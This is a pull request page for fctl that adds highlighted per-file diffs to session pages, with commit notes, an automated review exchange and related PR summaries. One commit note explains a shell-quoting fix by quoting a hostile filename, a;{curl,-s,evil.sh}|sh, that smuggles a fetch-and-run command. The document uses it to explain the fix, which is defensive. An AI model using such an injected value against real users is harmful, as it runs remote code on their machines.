Repository navigation
feat: open each changed file's diff, highlighted, from the session page - #386
Conversation
fctl-agent reads each changed file's diff along with the git state it
reports (git's for tracked files, every line for untracked ones), gives
each file its diff's digest, and hands the diffs to hosts that ask for
them before the git event. The host passes on to SessionDO, over the
uplink, those it hasn't sent over that connection.
Numstat and name-status are read with NULs, so a renamed file is listed
by its new path rather than git's {old => new}, and quoted paths lose
their quotes.
SessionDO keeps the latest diff of every changed file an uplink sends,
forgets those of files no longer listed, and checks each against what an
agent sends and what a session keeps. GET /api/v1/sessions/{id}/diff
serves them to anyone who can see the session, all or one file's, and
fctl diff prints them as git does.
The files under Changes open into their diff in a dialog over the page: highlighted as the file's language is, numbered, the words that changed marked, one below the other or side by side, with the session's other changed files beside it to step through with j and k. The transcript's edits are highlighted too, numbered as the file is when Claude Code's result says how. fake-claude's replayed edits and writes report Claude Code's structuredPatch, as Claude Code's do.
Lines added show in a fresh green (text-added), in diffs and in every count of what changed: the rail's letters, bars and totals, the transcript's commit and tool lines, and session rows. The diff dialog groups the changed files by directory, steps through them in that order, wraps lines on phones, says what changed beside a file's lines (a rename, a mode), and links to the file on GitHub only while its branch's pull request is unmerged. Changed words show as one mark each. Docs: the diff endpoint, fctl diff, and ADR 0074.
A line taken out pairs with the first added line after the last pair that has much in common with it, for the words marked in both and for side by side; lines between such pairs go side by side as they come.
The transcript makes an edit's hunks again at each render: highlighted tokens now go by the hunks' content and each line's place, so the colors stay and Shiki isn't asked again.
This comment has been minimized.
This comment has been minimized.
A new connection's first diff frame went out only when there were diffs to send, so a working tree that became clean while the uplink was down left SessionDO with the diffs of before. It goes out now even for no files, and its keep lets those go.
git's diff was read whole, however many files the branch changed or however long a line was, and so were untracked files, up to 512 KB each: a refresh could hold far more than a session keeps. fctl-agent now reads at most 16 MB of both, killing git there; the files past it are too large.
git shows a file that became a symbolic link, or back, as its deletion and its addition; only the deletion reached the session. They are one change now, with both halves' hunks and its modes before and after, and fctl diff prints it as git does.
Only whitespace, quotes, $, backticks and backslashes got the path
quoted, so a file named a;{curl,-s,evil.sh}|sh ran in the shell it was
pasted into. Every word that isn't plain is in single quotes now, and a
path that starts with - comes after --. The dialog also says what a
change of mode means: a symbolic link now, or executable.
This comment has been minimized.
This comment has been minimized.
The budget for a refresh's diffs took the length of git's output as text, which can be three times its bytes where they aren't UTF-8: the subtraction could overflow. It counts the bytes git wrote now, with saturating arithmetic. A cut kept every file's part but the last parsed one, which drops a whole file when the cut falls in the next file's header line or right after a part ends. fctl-agent now reads a little past the cut and keeps the parts that end before the one the cut falls in (fctl_domain::diffs::whole_parts).
A binary file that became a symbolic link, or back, showed as a binary file in the dialog and printed both halves as binary in fctl diff: the link's line went missing. The dialog shows the lines there are, and fctl diff prints only the half without lines as binary.
This comment has been minimized.
This comment has been minimized.
git writes a file that became a symbolic link, or back, as two parts under the same header line. A cut in the second, or at its start, kept the first as a whole file, which then showed only its deletion. Both parts now count as one: the cut leaves them unfinished, and the file is too large.
The test waited 20 ms for Shiki's tokens, which a slower runner didn't have in time: it now waits until they come, for half a second at most.
shoot.mjs --features takes a changed file's diff over its session's page for the Sessions page, on a desktop and on a phone, and one of the changes a review read for the Review agents page, on a phone, in place of the same review's page there (hyperstructure/fctl-site's feature pages show them).
|
fctl reviewed Reviewed by fctl · Review agent settings |
| { name: "outside", path: session("milkfloat#94"), settle: 2000 }, | ||
| { name: "phone-reviews", path: "/p/platform?tab=reviews", phone: true }, | ||
| { name: "phone-review", path: session("platform#438"), phone: true }, | ||
| // What the review read: a file of the pull request it reviewed. |
There was a problem hiding this comment.
The review-agents phone-review shot is replaced, not added to
Low severity. This entry used to be phone-review, the review session on a phone; it is now phone-diff. fctl.sh's features/review-agents/index.html still shows phone-review-{dark,light}.webp as "The same review on a phone" and nothing there uses phone-diff, so the generator no longer makes the shot the page uses and the new one goes unused until the site changes. Keep phone-review and add phone-diff beside it, or change the site together with this.
Found by fctl review in 3472659.
There was a problem hiding this comment.
Intended: the site changes together with this, in hyperstructure/fctl-site#106 (a draft until app.fctl.sh runs a release with this pull request). That PR uses phone-diff on the Review agents page in place of phone-review, whose images it deletes, and puts the Sessions page's new diff and phone-diff shots on that page. Keeping phone-review here would go on making a shot no page uses once #106 merges. In between, nothing breaks: shoot.mjs --features writes only the shots it defines and deletes nothing, so the site keeps its phone-review images until #106 swaps them.
#105) ## Summary The privacy policy now says that app.fctl.sh keeps the diff of each file a session's agent changed, as the agent last read it (at most 512 KB a file and 8 MB a session), and that diffs contain code: a newer diff replaces the one before, a file's goes once the agent's work no longer changes it, and deleting a project deletes them with its sessions. This describes hyperstructure/fctl#386, which isn't merged yet: merge this once app.fctl.sh runs a release with that change, and bump `updated` to that day if it is later than today's. - hyperstructure/fctl#386 [fctl session](https://app.fctl.sh/s/ses_01M6PAS5NQ948REQTXK0C18MGQ) <!-- FCTL_REVIEW_SUMMARY --> --- > [!NOTE] > **Low risk.** It only changes the wording of the privacy policy, though the policy is a legal document and has to match what app.fctl.sh really stores. > > **What it does.** Adds to the privacy policy that app.fctl.sh keeps, for each file a session's agent changed, a diff of it (up to 512 KB a file and 8 MB a session), so the session's page can show the changes. It says the diffs contain your code and how a newer diff replaces an older one, and adds diffs to what is deleted with a project's sessions. > > <sub>[fctl review](https://app.fctl.sh/s/ses_01M6PEJX3PK9A0KDQ1N6XPRKMW)'s first look at [`e1a84ca`](e1a84ca) · 1 file, +9 −2 · [Review agent settings](https://app.fctl.sh/p/fctl?tab=reviews)</sub> <!-- /FCTL_REVIEW_SUMMARY --> Co-authored-by: fctl-sh[bot] <fctl-sh[bot]@users.noreply.github.com>
) ## Summary The Sessions feature page gets a section on the diff view that hyperstructure/fctl#386 adds: a changed file of platform#437 open over its session's page (desktop shot, both themes). In "Your factory, at a glance", shop#231's change to `money.ts` on a phone replaces the phone session shot that the page showed twice. On the Review agents page, the phone beside the review now shows the pull request's change the review read, instead of the same review again, and the copy mentions it. The two pages' other shots of session pages (session, follow-up, phone session, review, findings) are taken again, so that additions show in green as they will after the release; the Agent Floor shots stay as they were, since retaking them would only swap the task box's random placeholder. The shots come from fctl's `xtask/demo/shoot.mjs --features` against `cargo xtask demo`, where #386 adds their definitions. `npm run check`, `npm run build` and `npm test` pass, and I looked at both pages in both themes and at a phone's width. This shows behavior that app.fctl.sh doesn't have yet: merge it once app.fctl.sh runs a release with hyperstructure/fctl#386. ## Screenshots The new section on the Sessions page, dark, light and on a phone:    "Your factory, at a glance", before and after: | Before | After | |---|---| |  |  | "Every review is a session you can open", before and after: | Before | After | |---|---| |  |  | ## Related - hyperstructure/fctl#386 ## Worth confirming - **Decision:** I retook the other session-page shots on both pages, which also brings in the sidebar's recent sessions under each project (fctl#383, released in 0.28.0), but left the Agent Floor shots alone, so the page's hero keeps "What should an agent build next?" in its task box. [fctl session](https://app.fctl.sh/s/ses_01M6PAS5NQ948REQTXK0C18MGQ) <!-- FCTL_REVIEW_SUMMARY --> --- > [!NOTE] > **Low risk.** It changes marketing copy and screenshots on two feature pages, but it shows behavior that app.fctl.sh doesn't have until hyperstructure/fctl#386 is released. > > **What it does.** Adds a section on the diff view to the Sessions feature page, with a new desktop shot, and replaces a duplicated phone shot there with a phone diff. On the Review agents page the phone shot now shows the pull request's change the review read, and the copy mentions it. The other session-page shots on both pages are retaken so additions show in green. > > **Merge order.** The pages describe the diff view from hyperstructure/fctl#386, which is still open, so this should merge only once app.fctl.sh runs a release with it. > > <sub>[fctl review](https://app.fctl.sh/s/ses_01M6PM8MR9N7G0RG6CYGFTG2CX)'s first look at [`e36e7c0`](e36e7c0) · 20 files, +30 −9 · [Review agent settings](https://app.fctl.sh/p/fctl?tab=reviews)</sub> <!-- /FCTL_REVIEW_SUMMARY --> Co-authored-by: fctl-sh[bot] <343971779+fctl-sh[bot]@users.noreply.github.com>
## Summary On app.fctl.sh no code was highlighted: the diff dialog, the transcript's edits and code blocks in answers showed plain text in TypeScript, TSX, Rust and every other language. Shiki matches grammars with Oniguruma, compiled from WebAssembly, and the app's Content Security Policy (`web/public/_headers`) allowed scripts from `'self'` only, which browsers take to refuse compiling WebAssembly. The highlighter's error was caught quietly, so the code was left plain. Vite's dev server sends no such policy, which is why it highlighted in development and in #386's screenshots. `script-src` now also allows `'wasm-unsafe-eval'`. That lets the app's own scripts compile WebAssembly; `eval()`, `new Function` and inline scripts stay refused. `docs/security.md` says so. A new test checks that the policy keeps it and that Shiki colors TypeScript, TSX and Rust. In Chromium, a build of the app's highlighter served with the old policy failed with "WebAssembly.instantiate(): … 'unsafe-eval' is not an allowed source of script", and with the new policy it colored all three. The standalone server doesn't send `_headers`, so it already highlighted, and this changes nothing there. ## Screenshots The web app built from this branch, served with main's policy (before) and this branch's (after), against `cargo xtask demo`. A TypeScript file's diff (shop#231's `src/lib/money.ts`), dark: | Before | After | |---|---| |  |  | A TSX file's diff (shop#219's `src/components/BoxItem.tsx`), light: | Before | After | |---|---| |  |  | A Rust file's diff (platform#437's `src/billing/charge.rs`), after, dark:  ## Worth confirming - **Decision:** I loosened the policy rather than switch Shiki to its JavaScript regex engine, which needs no WebAssembly but matches some grammars differently from Oniguruma. `'wasm-unsafe-eval'` widens what a script already running on the page can do (compile WebAssembly), not which scripts may run. [fctl session](https://app.fctl.sh/s/ses_01M6PRBCVKJFW4FTCT8G6MD1RR) <!-- FCTL_REVIEW_SUMMARY --> --- > [!NOTE] > **Low risk.** It adds one source to the web app's script policy and a test; no application code changes, and the policy still refuses `eval` and inline scripts. > > **What it does.** Syntax highlighting was silently failing on app.fctl.sh because Shiki's WebAssembly regex engine could not compile under a `script-src 'self'` policy. `script-src` in `web/public/_headers` now also allows `'wasm-unsafe-eval'`, and `docs/security.md` and a comment in `theme.js` say so. A new test checks that Shiki colors TypeScript, TSX and Rust and that the policy keeps the allowance without `'unsafe-eval'`. > > **Loosened Content-Security-Policy.** `'wasm-unsafe-eval'` widens what a script already running on the page can do (compile WebAssembly), not which scripts may run; the alternative was Shiki's JavaScript regex engine, which matches some grammars differently. > > <sub>[fctl review](https://app.fctl.sh/s/ses_01M6PRVS5V2P3BS05ZV3KMEFYY)'s first look at [`7912ed9`](7912ed9) · 4 files, +47 −7 · [Review agent settings](https://app.fctl.sh/p/fctl?tab=reviews)</sub> <!-- /FCTL_REVIEW_SUMMARY --> --------- Co-authored-by: fctl-sh[bot] <343971779+fctl-sh[bot]@users.noreply.github.com>
…hem (#388) ## Summary The diff dialog showed one file at a time and left stray yellow focus rings behind. It now holds every changed file's diff, one after the other, in one scroll that opens at the file clicked. Each file has a header that stays at the top while its lines scroll, and can fold. All diffs come in one request (`GET /sessions/{id}/diff`, which fills each file's cache), and a file draws its lines once it comes near the view, so sessions with many files stay quick. The list beside the diffs marks the file in view and jumps to a file on a click. - **Keys:** `j`/`k` go from file to file. The arrow keys (and `j`/`k`, Home, End) move through the list, and the focus moves with them. `n`/`p` step from change to change across files. `s` and `w` still lay the diffs out side by side and wrap them. - **Find:** ⌘F (Ctrl+F elsewhere) opens a find bar over the diffs. It searches every file's lines, starting from where you are scrolled. Enter and Shift+Enter, ⌘G/⌘⇧G and F3 step through the matches. If you have scrolled away, the next step starts from where you are now. Alt+C, Alt+W and Alt+R turn on match case, whole word and regular expressions, as in VS Code, and a bad expression says what is wrong. Matches use the transcript find's highlights, the list counts them per file and dims files without any, and Escape closes the bar before the dialog. - **Focus rings:** the header's buttons no longer take the focus, so arrow keys keep scrolling the diffs. The list's rows show keyboard focus as their own inset outline. After the dialog closes, the row it was opened from by a click gets the focus back without the keyboard's ring. Tab still shows the ring as before. Verified with unit tests: the search logic, the line keys matching `parsePatch`, and the dialog's keys, find, folding, bulk loading and focus return. I also drove it with Playwright in Chromium and WebKit against this repository's own #385 and #386 diffs (13 and 55 files): 55 files open in about 0.65 s with a simulated 200 ms network delay, and "diff" (894 matches) is found in about 75 ms. `npm run check` and the web tests pass. Docs: `docs/llms.txt` and the Changes paragraph of getting started describe the new keys. ## Screenshots Before: clicking a file in the list and pressing ↓ rings it in yellow; so does the next-file button after an arrow key, and the Changes row after the dialog closes.    After, the same steps: ↓ in the list went on to the next file with no ring, the header's buttons have none, and the Changes row is quiet after closing.    Finding "review" from `docs/api.md`: the match it is at in brand yellow, the others lighter, and the count per file in the list.  The light theme, side by side, while finding; and a phone, where the list covers the diffs while open.   ## Worth confirming - **Decision:** `/` still focuses the list's file filter rather than the find bar, as it did before; ⌘F is the way into finding in the diffs. - **Decision:** a second ⌘F while the find bar has the focus opens the browser's own find, as the transcript's find does. - **Decision:** `n`/`p` are new keys for the next and previous change (a run of added or removed lines), across files. - **Decision:** matching is literal and ignores case unless a toggle says otherwise (like VS Code), unlike the transcript find, which also ignores accents and the amount of whitespace. Code search is more useful exact. [fctl session](https://app.fctl.sh/s/ses_01M6PQN4596R913AXY00WEW58X) <!-- FCTL_REVIEW_SUMMARY --> --- > [!NOTE] > **Low risk.** It reworks the web app's diff dialog and adds a find bar; it changes no API, storage or server code, and only affects how the session page shows diffs. > > **What it does.** Replaces the diff dialog's one-file-at-a-time view with a single scroll through every changed file's diff, fetched together with one `GET /sessions/{id}/diff`, plus a file list and a find bar (⌘F) that searches across all the diffs. The latest commit makes the find bar go to each step once and focus its field once per ⌘F, and scrolls the opened file's row into view in the list after the dialog shows. > > **Large rewrite.** `diff-dialog.tsx` is rewritten and split into `diff-files.tsx` and `diff-find.tsx`; `docs/architecture.md` still describes the old per-file fetch. > > <sub>[fctl review](https://app.fctl.sh/s/ses_01M6PT77P05RTXVJF0GZWW0KBY)'s first look at [`7306cfb`](7306cfb) · 13 files, +2255 −562 · [Review agent settings](https://app.fctl.sh/p/fctl?tab=reviews)</sub> <!-- /FCTL_REVIEW_SUMMARY --> --------- Co-authored-by: fctl-sh[bot] <343971779+fctl-sh[bot]@users.noreply.github.com>
Summary
A file under Changes on a session's page now opens its diff in a dialog over the page. The diff is highlighted by the file's language and numbered as the file is, and the words that changed between a removed line and the line that replaced it are marked. Lines go one below the other or side by side (
s), and wrap withw(by default on phones). The session's other changed files sit beside the diff, grouped by directory, andj/ksteps through them. Languages come from Shiki, chosen by the file's name, extension or#!line: Markdown, Python, TypeScript, Rust, JavaScript, shell scripts, Dockerfiles,.gitignoreand.dockerignore(a small grammar of our own),.envand.env.example, Terraform, TOML, JSON, lockfiles in JSON or TOML (Cargo.lock,package-lock.json,uv.lock, others by their first line), and the rest of Shiki's languages. The transcript's Edit, MultiEdit and Write diffs are highlighted too, and numbered as the file is when Claude Code's result carries hunks. Additions are now green wherever the session viewer counts them (the rail's letters, bars and totals, and the transcript's commit and tool lines), and in session rows, so the numbers agree everywhere.The diffs come from the sandbox. Each time fctl-agent reads the repositories' state, it also reads each changed file's diff, gives the file its diff's digest in the
gitevent, and hands the diffs to its host. The host sends SessionDO, over the session's uplink, the diffs it doesn't have yet, ahead of thegitevent that lists them. SessionDO keeps the latest diff of each file and serves them atGET /api/v1/sessions/{id}/diff, whichfctl diffprints as git does. Diffs therefore still show after a session stops (ADR 0074). Along the way, Changes stops listing renamed files assrc/{old.rs => new.rs}and quoted paths without their quotes, since numstat is now read with NULs. fake-claude's replayed edits and writes now report Claude Code'sstructuredPatchtoo.Every protocol addition is optional. Hosts and agents from before keep working, and the dialog says why a file from one of them has no diff. Agents send diffs only to hosts that ask for them (
AgentConfig.diffs).Verified with unit tests in each layer: git output parsing, the agent reading real repositories (renames, untracked and binary files), the supervisor's frame order, the host's framing, and the web app's renderer, dialog and rail.
cargo xtask checkpasses. I also rancargo xtask demoend to end: every demo session's agent sent its diffs, the API served them, and their digests matched the sessions'gitevents. The screenshots come from that stack.The privacy policy needs a matching change before app.fctl.sh runs this: the draft below adds it. The demo's shooter (
xtask/demo/shoot.mjs --features) now also takes the diff view for fctl.sh's Sessions and Review agents pages, which the second draft below puts there; it takes the Review agents page's phone diff in place of that page's phone shot of the same review.Screenshots
At 7bb9f38, from
cargo xtask demo.A file's diff over its session (milkfloat#97), dark:
Terraform in the light theme (infra#37):
Side by side (
s):The transcript's edits, and Changes in the rail, before and after:
On a phone, 390 px wide, the diff and its list of files:
Related
Worth confirming
fctl session
Note
Medium risk. It adds a path from the sandbox agent through the host to SessionDO that stores and serves file contents (diffs) for every session, and changes how Changes are read from git, though every protocol addition is optional.
What it does. A changed file under Changes on a session page now opens its diff in a dialog, highlighted by language, with word-level marks, unified or side-by-side views and keyboard stepping between files. fctl-agent reads each changed file's diff (at most 16 MB per refresh), the host forwards new ones to SessionDO, which keeps the latest per file (up to 512 KB a file and 8 MB a session) and serves them at
GET /api/v1/sessions/{id}/diff, whichfctl diffprints. The transcript's edit diffs are highlighted too and additions are green throughout the viewer. The latest commit only adds diff shots to the demo screenshot script for fctl.sh's feature pages.Control plane stores code. SessionDO now keeps the latest diff of each changed file, and the privacy policy on fctl.sh needs a matching change (fctl-site#105) before app.fctl.sh runs this.
fctl review's first look at
3472659· 55 files, +5948 −234 · Review agent settings